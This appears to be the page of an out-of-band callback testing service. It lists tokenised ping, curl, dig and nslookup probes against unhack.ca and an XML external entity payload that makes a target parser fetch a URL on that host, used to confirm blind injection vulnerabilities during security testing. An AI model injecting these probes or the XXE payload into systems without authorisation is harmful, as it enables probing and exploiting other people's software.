$ ping -c1 -p 00a1c8b25528471cf8dd97a37aa36000 unhack.ca
 
$ curl http://unhack.ca/p/a1c8b25528471cf8dd97a37aa360
 
$ dig a1c8b25528471cf8dd97a37aa360 @unhack.ca
 
$ dig a1c8b25528471cf8dd97a37aa360.ns.unhack.ca
 
C:\> nslookup a1c8b25528471cf8dd97a37aa360 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a1c8b25528471cf8dd97a37aa360">]>
    <foo>&xxe;</foo>
Waiting for ping...